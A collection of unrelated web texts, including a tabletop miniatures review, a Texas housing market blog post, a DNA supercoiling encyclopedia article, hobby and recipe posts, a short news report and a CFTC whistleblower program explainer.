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While I painted my Vanguard set to fairly closely resemble the stock colors (essentially some color swaps, and painted in my style, I decided to do something more divergent in this set. The whole concept of nanobots infecting and repurposing corpses is pretty nasty stuff, and I like the minis that arose from the concept. However, I felt that replacing a number of living components with metal plates wasn't all that visually exciting.
So, instead, while there are occasional bits of metal, I decided that the majority of even the more complex exoforms would resemble bone and flesh. I was pretty happy with the results, as, with the NMM, it makes it a little more ambiguous, whether it's gross metal or unnatural organic stuff.
I tried a lot of variations and overlapping washes on these guys, which I think did a pretty good job making a unified but not homogenous look. The pants and bases helped out, and will be an easier reference point when marking damage, etc.
(more comments after the photo)
The only, relatively minor, complaint I have about these is that they could have used the space better, and gotten a bunch of extra tokens out of it, for replacements, extras, or because some might bet used more in larger games.
A few of the tokens are plastic instead, with nano clouds represented in clear plastic, and long-term status effects being represented with different colored base accessories. The Samaritan has a red Infection indicator. These fit, and even stack, though the fit is just barely tougher than I'd like: I'm a little concerned about damaging the models when taking them off, or at least needing to repaint the base trim every so often.
The game uses a pretty limited number of stats and abilities, and the fact that attack rolls are entirely resolved in one roll hugely speeds up the game. For example:
If a Samaritan were shooting at another Samaritan (let's say one was mind-controlled), you check range (on a grid, so very fast) roll 3d6, add the MOD (in this case, 5), and compare it to the defense of the defender (in this case, 17). Each 6 you roll works like a critical: you do more damage (the carbine has damage 5, and staging 2, dealing an additional 2 damage per 6).
The math stays pretty constant, and the abilities are pretty straightforward, so it means that the game moves pretty organically.
The other (in my opinion) defining characteristic of the game is the Reflex system: when it's the opponent's turn, each model has a Trigger (condition) that, when met, allows them to act out of turn. Reflexes are just that: done reflexively. They're specifically not as flexible (mostly) as many reactionary systems, which makes planning for them easier, as well.
The Rulebook is aesthetically nice, with illustrations, models, screens, and the occasional fan-made model or scene.
The book is relatively thin for a core rulebook, but pretty comprehensive. It contains all the rules (of course), and includes scenario generation and a fixed campaign. It has a variety of special terrain effects, faction rules, and gameplay tips. However, it's missing unit rules, and only has basic fluff descriptions of them. The only serious complaint I have is it's missing an index.
The fiction is decent, mostly narrative, though with very little background. It feels a touch rushed or brief, but it gets the job done. Each scenario has a half-page or so about the mission and context, which fits nicely, but, as the scenarios are already narrative, I found it's a bit redundant. I'd have preferred 2-4 pages establishing the setting more, but I can live with the structure as it stands.
The game design is solid, but the rules themselves have felt rather rough. However, Studio McVey has been very good about errata and it already has a pretty solid FAQ. It feels like we're essentially playing as beta testers. If the core game wasn't as good, I might be discouraged, but I feel like the game is strong, and the changes and clarifications have been productive. A few of the answers have felt rushed, but I'm fine with that, as it's been explicitly announced that they're working on an update.


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Is real estate still a good investment, or has the U.S. housing market finally topped out after one year of recovery? Over the last few months, pending home sales have slowed down due to weather, a rise in mortgage rates, and a 12% rise in home prices from the same time last year. Many are wondering if the housing recovery is over.
We saw the biggest real estate and financial bubble with the longest recovery following it since the Great Depression. Housing and real estate prices, fueled by easy financing and speculation, topped out somewhere in 2006 or 2007. Then the market collapsed, taking global financial markets with it. It has taken six years for the recovery to take hold.
The mentality of potential buyers fundamentally changed. They saw homeowners lose over $8+ trillion in asset value. Many questioned the validity of owning real estate due to the devastating effects of this bubble. After seeing so many homeowners in upside down mortgages, many felt that renting was better than buying. It changed demographic habits across the country. Children moved back in after college. Household formation of couples moved back 5+ years. The housing market underwent a fundamental shift as home buyers became scarce and homebuilders scrambled just to stay afloat.
A few parts of the country didn't see a housing boom, and some parts (such as Texas) didn't really see a bust. That does not mean they went unscathed. In general, because of the real estate and financial meltdown, we saw a fundamental change in financing from acquisition and development through mortgage policies. Harsher lending guidelines were but in place. Government backing of the majority of the housing market was no longer desirable. All of this had a dampening effect on real estate that we still feel today, no matter where you live.
So why the concern about real estate slowing? Nationally, existing home sales were down 7.5% year-over-year in March 2014. In the same time period, however here in Texas there were 22,511 sales of existing single-family homes, 3% more than in March 2013. Values continued to improve regionally, the median sale price for an existing single-family home was $178,000 in March 2014, 8.1 percent higher than a year ago. In Austin, most realtors will tell you there biggest concern is lack of inventory.
New home starts face similar issues. Nationally, this March was down -5.9% from this time last year, another sign of the market possibly slowing or catching its breath. In Texas, we saw a total of 8,023 building permits for single-family homes were issued in March 2014, 7.4 percent more than in March 2013. In the 12 months ending in March 2014, a total of 87,931 permits were issued, 12 percent more than in the previous year.
Here in Austin, we have been about 5,000 home starts annually short for the last two years and this year looks the same. Remember for every two jobs there should be one home start. Austin has been averaging just over 30,000 new jobs the last couple of years. All the Texas metros have delivered less than demand. This is a good problem to have, particularly when compared to the rest of the country. New home sales are up significantly from the bottom, but are still historically very low. There really is nowhere to go but up. A growing population will require more new homes.
With this demand, values have increased, which has people wondering if we are entering another bubble. They point to the fact that the housing market is being propped up by low interest rates, a loose monetary policy by the Fed, and bank bailouts. While these things are certainly true and they do prop up real estate prices, I believe that true demand is what has caused values to surge.
Others believe that real estate prices will continue to go up, while maintaining that it is not a bubble yet. They point to the Federal Reserve's focus on inflation. Whether there is high inflation or low inflation, most investors look for undervalued hard assets. You can't get more of a hard asset than real estate. So if you expect inflation to continue to get worse, real estate is something to seriously consider, whether it is your first house or an investment piece of property.
As far as concern about a bubble locally and regionally, this analyst and others will tell you not to worry. Regionally housing prices bottomed somewhere around 2011, we have seen them climb quite significantly, though still not to the levels we saw in 2006 in most places. The supply side is the biggest constraint to housing and real estate growth in Texas and our metros. For a more in-depth discussion, check out the Independence Voice blog.
Worrying about the housing market has been common for the last few years. However, it is time for the media and the consumer to look at the reasons to buy into the housing and real estate market. The vast majority of markets in the nation as well as Texas do not have enough inventory for the demand. Housing and real estate is lagging because of the residual effects of the housing and financial crisis.
So why the slowdown nationally? Numerous reasons:
• Lack of foreclosures and short sales. Most of the distressed product has been acquired, and most values are no longer offering the large discounts that the investors are looking for.
• Rates increasing historically slows down sales for a couple of months, while the public decide whether they will see low rates again or not. As most of us over 40 know, rates are at a historical low. Why wait?
• Foreclosures have dramatically slowed as well as bank and mortgage company failure. The investor that was buying the last couple of years no longer has the opportunity he had the last 3+ years to get discount prices. With less distressed inventory, the investors as well as the consumer are scrambling for product. Supply has not met demand yet. Foreclosures were never much of a factor in Texas. Many of the consumers looking today realize that the ability to find a distressed 'dream home' is no longer possible. There is little to no residential, commercial, retail, etc. real estate available in Texas at a distressed value. After a couple of weekends shopping in our metros and cities, most consumers realize that trying to find that perfect deal or home at a discounted price is not possible.
If you live in Texas, waiting to buy a home or investment property will cost you.
• Rates are at historical lows, every time that rates increase you lose 12% buying power. Why wait?
• Whether renting or buying home and real estate values continue to improve. How much? High single digits in most metros in Texas. Yes there are those high demand areas that will be double digit, and those low demand areas that will be in the low single digit. However they are all moving in the same direction, up!
• Comparatively, in most of our metro markets, real estate is still pretty cheap in Texas. Throw in the cost of living compared to most metros outside Texas, it is a dramatic reduction in cost for most families.
• Whether nationally, regionally or locally, real estate historically has been a great long-term return. If you look back 30 years, real estate is still valued much higher than it was. And if you are looking at investment property, and if you have tenants paying your mortgage, it makes the investment that much more profitable. Most Texas metros have seen rent appreciation higher than actual real estate value. What does that mean? Austin has seen a 58+% increase in rents the last 10 years. Home value and real estate appreciation has been around 38+/-% in the same time.
So if you are buying a house (as opposed to renting) because you need a place to live, this might be a valid time. However, it's important to remember that buying a house to live in is not really an investment, other than the fact that you need a place to live. The only sense it could be considered an investment is that it's somewhat of a forced savings plan, as you pay down the principal balance on your mortgage each month.
Housing is a slow moving market – and the recovery will not be smooth or fast with all the residual problems. But overall housing is clearly improving and the outlook remains positive for the next few years. I know, I know – you've been hearing for years that it's a great time to buy real estate. When the bubble burst a few years ago, and people were losing money on their houses, it made investing in real estate a scary proposition. But thanks to the same recession that caused the real estate mess, there are loads of opportunities for those with the financial resources and means to buy real estate.
(Note: I will be out on sabbatical, so the Voice will go on hiatus until June)

subset: commoncrawl


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Reliance Jio 4g Volte Feature Phone
As per the recent reports of reliance Telecom Corporation, it will be soon going to launch its 4g volte phone at lowest prices. Reliance Jio 4g Volte Feature Phone will comprise of some unique and outstanding features and it is priced at Rs 1500 only. Well, we all know that in September 2016, reliance Jio was got introduced with the launch of numerous 4g benefits. And it had given a tough competition for all other telecom operators.
There are numerous telecom companies including airtel, Vodafone, idea and reliance that are offering 4g data and other benefits at competitive prices. But recently, the description in financial express made its complete clear that reliance Jio had been in collaboration with some major Chinese phone manufactures to introduced new 4g volte phone. Check out its some prominent specifications discussed below.
Reliance Jio 4g Volte Feature Phone
So, one can imagine what could be the more better advantages and benefits , people can have with the 4g services along with brilliant 4g volte Smartphone at normal price range that could be easily fit in everyone budget. However, this great step of the company wills definitely going to boost its subscribers on its network and phone both.
Check Out: How to Activate Jio Caller Tunes for Free
The new phone to be launched will going to provide superior 4g services on mobile data, voice and video calls etc. however, there is tough competition between mobiles corporations, but we can appreciate to the Chinese manufactures who are assisting Indian manufactures for providing a good 4 mobile in affordable budget.
Reliance Jio 4g phone
It is also stated that if reliance Jio will be able to achieve the successful response from its new volte phone, then it will definitely going to be grow much higher. When it comes to the basic demand of majority of phone users, then voice calling comes first.
So, one can expect, if the firm will provide some additional benefits including video calls, data services along with the voice calls, then it would be a golden chance to buy this phone. More than 100 million subscribers are already registered on reliance Jio network and they are resulting in positive reviews due to astonishing additional benefits and offerings.
Also Check: Reliance Jio 4G Tariff Plans
And now with the launch of this 1500 Rs phone, the firm would be able to generate more consumers who were planning to buy superior 4g pone at economical cost. according to the reports, the new phone will be comprising of some good features including streaming live videos, clear voice calls, browse uninterruptedly etc.
So, that's all about reliance Jio 4g volte feature phone. Viewers are advised to stay tuned with our web portal for more interesting facts and updates.
You Should Also Follow Up This:
|Reliance Jio DTH
|Jio 4G Laptop
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|Reliance Jio Customer Care Number


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Rumbly in my Tumbly has moved!
For my Chocolate Gooey Butter Cookies recipe, please click the link below to be directed to the recipe on my new site:
Sorry for the inconvenience!
Powered By | Blog Gadgets Via Blogger Widgets
Your little princesses look darling. What fun!
The cookies look good too, by the way!
Thanks so much, for the comment and for visiting!


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Yes! I am back at it and DETERMINED to catch up on my Project Life! The past month we have had 3 basketball tournaments, so any fun scrappy time has been really hard to fit it! BUT the best thing is I have lots of photos to document once I get caught up on my PL! Today I am sharing my week five! I used the SIMPLY PUT by Doodlebug Design! LOVE these cards and this collection- Kraft in Color! I paired it up with some Dies and Stamps from Technique Tuesday! I recently have fallen IN LOVE with all their project on the Technique Tuesday Blog, and I think it fits my PL and Scrapbooking style to a tee! Here is my Double Page Layout:
Left Side:
Right Side:
And some detailed shots:
I love the stamp WHAT A FUN WEEK!!! so cute!!!
For my main journaling card, I added some Doodlepops to embellish the card and then added some stamps to the PL card that I cut up to fit the card too!
Don't you just love those funny faces!!!! I can see me using these on a lot of pages!
I even stamped on some "white space"on one of my photos! LOVE how this spread turned out!


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DNA supercoil
DNA supercoiling refers to the over- or under-winding of a DNA strand, and is an expression of the strain on that strand. Supercoiling is important in a number of biological processes, such as compacting DNA, and by regulating access to the genetic code, DNA supercoiling strongly affects DNA metabolism and possibly gene expression. Additionally, certain enzymes such as topoisomerases are able to change DNA topology to facilitate functions such as DNA replication or transcription. Mathematical expressions are used to describe supercoiling by comparing different coiled states to relaxed B-form DNA.
In a "relaxed" double-helical segment of B-DNA, the two strands twist around the helical axis once every 10.4–10.5 base pairs of sequence. Adding or subtracting twists, as some enzymes can do, imposes strain. If a DNA segment under twist strain were closed into a circle by joining its two ends and then allowed to move freely, the circular DNA would contort into a new shape, such as a simple figure-eight. Such a contortion is a supercoil. The noun form "supercoil" is often used in the context of DNA topology.
Positively supercoiled (overwound) DNA is transiently generated during DNA replication and transcription, and, if not promptly relaxed, inhibits (regulates) these processes. The simple figure eight is the simplest supercoil, and is the shape a circular DNA assumes to accommodate one too many or one too few helical twists. The two lobes of the figure eight will appear rotated either clockwise or counterclockwise with respect to one another, depending on whether the helix is over- or underwound. For each additional helical twist being accommodated, the lobes will show one more rotation about their axis. As a general rule, the DNA of most organisms is negatively supercoiled.[1]
Lobal contortions of a circular DNA, such as the rotation of the figure-eight lobes above, are referred to as writhe. The above example illustrates that twist and writhe are interconvertible. Supercoiling can be represented mathematically by the sum of twist and writhe. The twist is the number of helical turns in the DNA and the writhe is the number of times the double helix crosses over on itself (these are the supercoils). Extra helical twists are positive and lead to positive supercoiling, while subtractive twisting causes negative supercoiling. Many topoisomerase enzymes sense supercoiling and either generate or dissipate it as they change DNA topology. DNA of most organisms is negatively supercoiled.
In part because chromosomes may be very large, segments in the middle may act as if their ends are anchored. As a result, they may be unable to distribute excess twist to the rest of the chromosome or to absorb twist to recover from underwinding—the segments may become supercoiled, in other words. In response to supercoiling, they will assume an amount of writhe, just as if their ends were joined.
Supercoiled DNA forms two structures; a plectoneme or a toroid, or a combination of both. A negatively supercoiled DNA molecule will produce either a one-start left-handed helix, the toroid, or a two-start right-handed helix with terminal loops, the plectoneme. Plectonemes are typically more common in nature, and this is the shape most bacterial plasmids will take. For larger molecules it is common for hybrid structures to form – a loop on a toroid can extend into a plectoneme. If all the loops on a toroid extend then it becomes a branch point in the plectonemic structure. DNA supercoiling is important for DNA packaging within all cells, and seems to also play a role in gene expression.[2][3]
Genome packaging
DNA supercoiling is important for DNA packaging within all cells. Because the length of DNA can be thousands of times that of a cell, packaging this genetic material into the cell or nucleus (in eukaryotes) is a difficult feat. Supercoiling of DNA reduces the space and allows for DNA to be packaged. In prokaryotes, plectonemic supercoils are predominant, because of the circular chromosome and relatively small amount of genetic material. In eukaryotes, DNA supercoiling exists on many levels of both plectonemic and solenoidal supercoils, with the solenoidal supercoiling proving most effective in compacting the DNA. Solenoidal supercoiling is achieved with histones to form a 10 nm fiber. This fiber is further coiled into a 30 nm fiber, and further coiled upon itself numerous times more.
DNA packaging is greatly increased during nuclear division events such as mitosis or meiosis, where DNA must be compacted and segregated to daughter cells. Condensins and cohesins are structural maintenance of chromosome (SMC) proteins that aid in the condensation of sister chromatids and the linkage of the centromere in sister chromatids. These SMC proteins induce positive supercoils.
Supercoiling is also required for DNA/RNA synthesis. Because DNA must be unwound for DNA/RNA polymerase action, supercoils will result. The region ahead of the polymerase complex will be unwound; this stress is compensated with positive supercoils ahead of the complex. Behind the complex, DNA is rewound and there will be compensatory negative supercoils. Topoisomerases such as DNA gyrase (Type II Topoisomerase) play a role in relieving some of the stress during DNA/RNA synthesis.[4]
Gene expression
Specialized proteins can unzip small segments of the DNA molecule when it is replicated or transcribed into RNA. But work published in 2015 illustrates how DNA opens on its own.[2][3]
Simply twisting DNA can expose internal bases to the outside, without the aid of any proteins. Also, transcription itself contorts DNA in living human cells, tightening some parts of the coil and loosening it in others. That stress triggers changes in shape, most notably opening up the helix to be read. Unfortunately, these interactions are very difficult to study because biological molecules morph shapes so easily. In 2008 it was noted that transcription twists DNA, leaving a trail of undercoiled (or negatively supercoiled) DNA in its wake. Moreover, they discovered that the DNA sequence itself effects how the molecule responds to supercoiling.[2][3] For example, the researchers identified a specific sequence of DNA that regulates transcription speed; as the amount of supercoil rises and falls, it slows or speeds the pace at which molecular machinery reads DNA.[2] It is hypothesized that these structural changes might trigger stress elsewhere along its length, which in turn might provide trigger points for replication or gene expression.[2][3] This implies that it is a very dynamic process in which both DNA and proteins each influences how the other acts and reacts.[2]
Mathematical description
In nature, circular DNA is always isolated as a higher-order helix-upon-a-helix, known as a superhelix. In discussions of this subject, the Watson-Crick twist is referred to as a "secondary" winding, and the superhelices as a "tertiary" winding. The sketch at right indicates a "relaxed", or "open circular" Watson-Crick double-helix, and, next to it, a right-handed superhelix. The "relaxed" structure on the left is not found unless the chromosome is nicked; the superhelix is the form usually found in nature.
For purposes of mathematical computations, a right-handed superhelix is defined as having a "negative" number of superhelical turns, and a left-handed superhelix is defined as having a "positive" number of superhelical turns. In the drawing (shown at the right), both the secondary (i.e., "Watson-Crick") winding and the tertiary (i.e., "superhelical") winding are right-handed, hence the supertwists are negative (-3 in this example).
The superhelicity is presumed to be a result of underwinding, meaning that there is a deficiency in the number of secondary Watson-Crick twists. Such a chromosome will be strained, just as a macroscopic metal spring is strained when it is either overwound or unwound. In DNA which is thusly strained, supertwists will appear.
DNA supercoiling can be described numerically by changes in the linking number Lk. The linking number is the most descriptive property of supercoiled DNA. Lko, the number of turns in the relaxed (B type) DNA plasmid/molecule, is determined by dividing the total base pairs of the molecule by the relaxed bp/turn which, depending on reference is 10.4;[5] 10.5;[6][7] 10.6.[8]
Lk is merely the number of crosses a single strand makes across the other. Lk, known as the "linking number", is the number of Watson-Crick twists found in a circular chromosome in a (usually imaginary) planar projection. This number is physically "locked in" at the moment of covalent closure of the chromosome, and cannot be altered without strand breakage.
The topology of the DNA is described by the equation below in which the linking number is equivalent to the sum of TW, which is the number of twists or turns of the double helix, and Wr which is the number of coils or 'writhes'. If there is a closed DNA molecule, the sum of Tw and Wr, or the linking number, does not change. However, there may be complementary changes in TW and Wr without changing their sum.
Tw, called "twist", refers to the number of Watson-Crick twists in the chromosome when it is not constrained to lie in a plane. We have already seen that native DNA is usually found to be superhelical. If one goes around the superhelically twisted chromosome, counting secondary Watson-Crick twists, that number will be different from the number counted when the chromosome is constrained to lie flat. In general, the number of secondary twists in the native, supertwisted chromosome is expected to be the "normal" Watson-Crick winding number, meaning a single 10-base-pair helical twist for every 34 Å of DNA length.
Wr, called "writhe", is the number of superhelical twists. Since biological circular DNA is usually underwound, Lk will generally be less than Tw, which means that Wr will typically be negative.
If DNA is underwound, it will be under strain, exactly as a metal spring is strained when forcefully unwound, and that the appearance of supertwists will allow the chromosome to relieve its strain by taking on negative supertwists, which correct the secondary underwinding in accordance with the topology equation above.
The topology equation shows that there is a one-to-one relationship between changes in Tw and Wr. For example, if a secondary "Watson-Crick" twist is removed, then a right-handed supertwist must have been removed simultaneously (or, if the chromosome is relaxed, with no supertwists, then a left-handed supertwist must be added).
The change in the linking number, ΔLk, is the actual number of turns in the plasmid/molecule, Lk, minus the number of turns in the relaxed plasmid/molecule Lko.
If the DNA is negatively supercoiled ΔLk < 0. The negative supercoiling implies that the DNA is underwound.
A standard expression independent of the molecule size is the "specific linking difference" or "superhelical density" denoted σ, that represents the number of turns added or removed relative to the total number of turns in the relaxed molecule/plasmid, indicating the level of supercoiling.
The Gibbs free energy associated with the coiling is given by the equation below[9]
The difference in Gibbs free energy between the supercoiled circular DNA and uncoiled circular DNA with N > 2000 bp is approximated by:
or, 16 cal/bp.
Since the linking number L of supercoiled DNA is the number of times the two strands are intertwined (and both strands remain covalently intact), L cannot change. The reference state (or parameter) L0 of a circular DNA duplex is its relaxed state. In this state, its writhe W = 0. Since L = T + W, in a relaxed state T = L. Thus, if we have a 400 bp relaxed circular DNA duplex, L ~ 40 (assuming ~10 bp per turn in B-DNA). Then T ~ 40.
- Positively supercoiling:
- T = 0, W = 0, then L = 0
- T = +3, W = 0, then L = +3
- T = +2, W = +1, then L = +3
- Negatively supercoiling:
- T = 0, W = 0, then L = 0
- T = -3, W = 0, then L = -3
- T = -2, W = -1, then L = -3
Negative supercoils favor local unwinding of the DNA, allowing processes such as transcription, DNA replication, and recombination. Negative supercoiling is also thought to favour the transition between B-DNA and Z-DNA, and moderate the interactions of DNA binding proteins involved in gene regulation.[10]
Effects on sedimentation coefficient
The topological properties of circular DNA are complex. In standard texts, these properties are invariably explained in terms of a helical model for DNA, but in 2008 it was noted that each topoisomer, negative or positive, adopts a unique and surprisingly wide distribution of three-dimensional conformations.[3]
When the sedimentation coefficient, s, of circular DNA is ascertained over a large range of pH, the following curves are seen. Three curves are shown here, representing three species of DNA. From top-to-bottom they are: "Form IV" (green), "Form I" (blue) and "Form II" (red).
"Form I" (blue curve) is the traditional nomenclature used for the native form of duplex circular DNA, as recovered from viruses and intracellular plasmids. Form I is covalently closed, and any plectonemic winding which may be present is therefore locked in. If one or more nicks are introduced to Form I, free rotation of one strand with respect to the other becomes possible, and Form II (red curve) is seen.
Form IV (green curve) is the product of alkali denaturation of Form I. Its structure is unknown, except that it is persistently duplex, and extremely dense.
Between pH 7 and pH 11.5, the sedimentation coefficient s, for Form I, is constant. Then it dips, and at a pH just below 12, reaches a minimum. With further increases in pH, s then returns to its former value. It doesn't stop there, however, but continues to increase relentlessly. By pH 13, the value of s has risen to nearly 50, two to three times its value at pH 7, indicating an extremely compact structure.
If the pH is then lowered, the s value is not restored. Instead, one sees the upper, green curve. The DNA, now in the state known as Form IV, remains extremely dense, even if the pH is restored to the original physiologic range. As stated previously, the structure of Form IV is almost entirely unknown, and there is no currently accepted explanation for its extraordinary density. About all that is known about the tertiary structure is that it is duplex, but has no hydrogen bonding between bases.
These behaviors of Forms I and IV are considered to be due to the peculiar properties of duplex DNA which has been covalently closed into a double-stranded circle. If the covalent integrity is disrupted by even a single nick in one of the strands, all such topological behavior ceases, and one sees the lower Form II curve (Δ). For Form II, alterations in pH have very little effect on s. Its physical properties are, in general, identical to those of linear DNA. At pH 13, the strands of Form II simply separate, just as the strands of linear DNA do. The separated single strands have slightly different s values, but display no significant changes in s with further increases in pH.
A complete explanation for these data is beyond the scope of this article. In brief, the alterations in s come about because of changes in the superhelicity of circular DNA. These changes in superhelicity are schematically illustrated by four little drawings which have been strategically superimposed upon the figure above.
Briefly, the alterations of s seen in the pH titration curve above are widely thought to be due to changes in the superhelical winding of DNA under conditions of increasing pH. Up to pH 11.5, the purported "underwinding" produces a right-handed ("negative") supertwist. But as the pH increases, and the secondary helical structure begins to denature and unwind, the chromosome (if we may speak anthropomorphically) no longer "wants" to have the full Watson-Crick winding, but rather "wants", increasingly, to be "underwound". Since there is less and less strain to be relieved by superhelical winding, the superhelices therefore progressively disappear as the pH increases. At a pH just below 12, all incentive for superhelicity has expired, and the chromosome will appear as a relaxed, open circle.
At higher pH still, the chromosome, which is now denaturing in earnest, tends to unwind entirely, which it cannot do so (because Lk is covalently locked in). Under these conditions, what was once treated as "underwinding" has actually now become "overwinding". Once again there is strain, and once again it is (in part at least) relieved by superhelicity, but this time in the opposite direction (i.e., left-handed or "positive"). Each left-handed tertiary supertwist removes a single, now undesirable right-handed Watson-Crick secondary twist.
The titration ends at pH 13, where Form IV appears.
See also
- ↑ Champoux J (2001). "DNA topoisomerases: structure, function, and mechanism". Annu Rev Biochem. 70: 369–413. doi:10.1146/annurev.biochem.70.1.369. PMID 11395412.
- 1 2 3 4 5 6 Singer, Emily (5 January 2016). "How Strange Twists in DNA Orchestrate Life". Quanta Magazine. Retrieved 2016-01-07.
- 1 2 3 4 5 Irobalieva, Rossitza N.; Zechiedrich, Lynn; et al. (12 October 2015). "Structural diversity of supercoiled DNA". Nature Communications. 6 (8440). doi:10.1038/ncomms9440. Retrieved 2016-01-07.
- ↑ Albert AC, Spirito F, Figueroa-Bossi N, Bossi L, Rahmouni AR (1996). "Hyper-negative template DNA supercoiling during transcription of the tetracycline-resistance gene in topA mutants is largely constrained in vivo". Nucl Acids Res. 24 (15): 3093–3099. doi:10.1093/nar/24.15.3093. PMC 146055. PMID 8760899.
- ↑ Shimada, Jiro and Yamakawa, Hiromi (1984), "Ring-closure probabilities for twisted wormlike chains. Application to DNA", Macromolecules, ACS Publications, 17 (4): 689–698
- ↑ Essevaz-Roulet, Baptiste and Bockelmann, Ulrich and Heslot, Francois (1997), "Mechanical separation of the complementary strands of DNA", Proceedings of the National Academy of Sciences, National Acad Sciences, 94 (22): 11935–11940
- ↑ Lavery, Richard and Lebrun, Anne and Allemand, Jean-François and Bensimon, David and Croquette, Vincent (2002), "Structure and mechanics of single biomolecules: experiment and simulation", Journal of Physics: Condensed Matter, IOP Publishing, 14 (14): R383–R414
- ↑ Moroz, J David and Nelson, Philip (1997), "Torsional directed walks, entropic elasticity, and DNA twist stiffness", Proceedings of the National Academy of Sciences, National Acad Sciences, 94 (26): 14418–14422
- ↑ Vologodskii AV, Lukashin AV, Anshelevich VV, et al. (1979). "Fluctuations in superhelical DNA". Nucleic Acids Res. 6 (3): 967–682. doi:10.1093/nar/6.3.967. PMC 327745. PMID 155809.
- ↑ H. S. Chawla (2002). Introduction to Plant Biotechnology. Science Publishers. ISBN 1-57808-228-5.
General references
- Bloomfield, Victor A.; Crothers, Donald M.; Tinoco, Jr., Ignacio (2000). Nucleic acids: structures, properties, and functions. Sausalito, California: University Science Books. pp. 446–453. ISBN 0935702490.


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Morphine rehab costSeptember 2nd, 2017
The price of morphine rehab is anywhere from $135/day to $335/day. While cost remains a big factor for individuals considering treatment, help is available. And learning how to cope with the cost can ease some of the reluctance toward going into treatment for many. More here on the cost of morphine rehab.


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Words that start with chagan
Found 2 words that start with chagan. Browse our Scrabble Word Finder, Words With Friends cheat dictionary, and WordHub word solver to find words starting with chagan. Or use our Unscramble word solver to find your best possible play! Related: Words that end in chagan, Words containing chagan
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Jesus of Nazareth is explicitly mentioned in fewer than half of the 66 books in the Protestant Bible, Tim Keller sees Jesus in all of them. "There are two ways to read the Bible," the New York Times best-selling author and prominent pastor of New York City's Redeemer Presbyterian says. "The one way to read the Bible is that it's basically about you. … Or you can read it as all about Jesus." It's somewhat unsurprising then, given Keller's perspective, that he would see Jesus throughout the Psalms, an Old Testament book compiled centuries before Christ's birth.
What is remarkable is how Keller sees Jesus showing up there and why. In "The Songs of Jesus," Tim Keller and his wife, Kathy, offer a 365-day Jesus-centered devotional from the book of Psalms. Here we discuss what they believe we can learn about Jesus in this ancient book of poetry.


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This is the new Thunderhawk. It is Resin. It is £450.
Looks great.
Sad it isn't plastic. Maybe next decade.ReplyDelete
Drake. Spotted any Vlka legion specific units? 1k sons have all the stuff. Surely ours should be up next.ReplyDelete
Yous still habe more thab BA, DA and WS combined though :(Delete
They are still waiting on dedicated black books Douglas. So sorry not sorry lol. Our units have official rules so it would be nice to see our units soon. Especially since rob McFarlane has said he has finished sculpting them.Delete
New models look great, too bad I'll never buy any of it because 8th Edition is utter garbage.Delete
Nah i know mate, not trying to sound cheeky, just wish they'd hurry up and finish all the legions :) but we still need units! Lol.Delete
No but they are being worked on. I would expect them in August now (Forge World OpenDay).Delete


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3 survey workers beaten, rescued from mob in Mexico
MEXICO CITY – Three men working for a polling firm have been rescued from a mob in southern Mexico that beat them bloody.
The SIMO Consulting firm says in a statement issued Tuesday that the three employees were conducting a poll in the town of Centla in the Gulf coast state of Tabasco on Monday night.
They were attacked by a mob that apparently mistook them for thieves. One was seriously injured before state authorities rescued them.
State Interior Secretary Gustavo Rosario says, "People cannot take the law into their own hands. The state government condemns these acts."
In October last year, a mob killed and burned two pollsters conducting a survey about tortilla consumption in a small town southeast of Mexico City.


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The First Step: Research
Since the Valet experience is based on truly understanding our clients, we begin by getting to know you… closely. We look for the true causes of your problems, identify areas for improvement, and create a roadmap for your future success.
Our diverse team performs a rigorous review of your site from many different angles, then we present our findings & recommendations in a document with clear next steps. The Audit is a solid plan—a roadmap that shows you where to go next & helps you prioritize your efforts.
What's covered in an Audit?
- Understand your true pain points & goals.
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- Actionable, well-planned steps to help you get on the path to a solution.
- Review of other areas of strategy, based on request.


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I have seen giant bubbles on the internet and when I came across the Homemade Giant Bubbles Recipe over at Happy Hooligans I was inspired to give them a try with my children. The bubbles recipe provided by Happy Hooligans is so easy to make and the best bit……..it produces giant bubbles!
To see the five ingredients to make this bubble solution as well as the method, pop over to The Happy Hooligans Homemade Giant Bubbles Recipe.
Just remember to allow your solution to sit for at least an hour before you try and use it.
The longer you play with this solution the larger the bubbles become.
At first we were hard pressed to produce any bubbles. A few small ones and then it happened. Miss Eight produced this:
More success and lots of ooooohs and aaaahs as bigger and bigger bubbles were appearing.
Master Six blowing a big bubble:
Miss Four was captivated by these bubbles and was super keen to produce her own large bubbles. At first Miss Four had some help from Daddy.
My hubby also experimented with different ways to produce the bubbles.
He had the most success with the method suggested over at Happy Hooligans – raise arms high and walk backwards (interestingly, none of our children experienced any success producing bubbles this way).
This bubble mixture is now a favourite thimg to do. With our warmer temps starting to kick in, I know we will be spending a lot more time experimenting with and enjoying these fabulously fun bubbles.


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CFTC ("Dodd-Frank") Whistleblowers
The Commodity Futures Trading Commission (CFTC) operates a Whistleblower Program to receive tips about fraud, manipulation, and abusive practices in markets within its jurisdiction—including futures markets, swap markets, and markets for derivatives and foreign currencies.
The CFTC's program, which was enacted as part of the Dodd-Frank Wall Street Reform and Consumer Protection Act, has strict dollar thresholds. Whistleblower rewards are only paid for tips that result in an enforcement action that leads to collection of penalties of $1 million or more.
Violations That The CFTC Wants To Hear About
The following are examples of the kinds of practices the CFTC is interested in hearing about:
- Price manipulation
- Disseminating false information
- Trading ahead of (or frontrunning) customer orders
- Hidden losses
- Wash sales
- Ponzi schemes
- Foreign currency exchange fraud (FX or forex fraud)
- False reporting
- Pool frauds
- Strobing (rapidly sending and canceling the same order many times to create the (false) appearance of liquidity)
- Spoofing (bidding or offering with the intent to cancel before execution)
- Other "disruptive" trading practices
The CFTC Whistleblower Process
CFTC (or "Dodd-Frank") whistleblower complaints are not filed in court. They are filed with the CFTC. If the CFTC acts on the information in a whistleblower complaint, and as a result levies and collects at least $1 million in money sanctions, a whistleblower can receive between 10 and 30 percent of the money collected. However, unlike the False Claims Act, the Dodd-Frank whistleblower law does not include an "agency forcing" mechanism: if the CFTC declines to pursue the matter, that is the end of the road. Unlike whistleblowers under the False Claims Act, CFTC whistleblowers cannot file suit on their own. On the other hand, unlike claims brought under the False Claims Act, whistleblower claims submitted to the CFTC (often called "Dodd Frank" claims) do not require evidence of a fraud against the government or losses to public funds. The CFTC program covers frauds against private investors
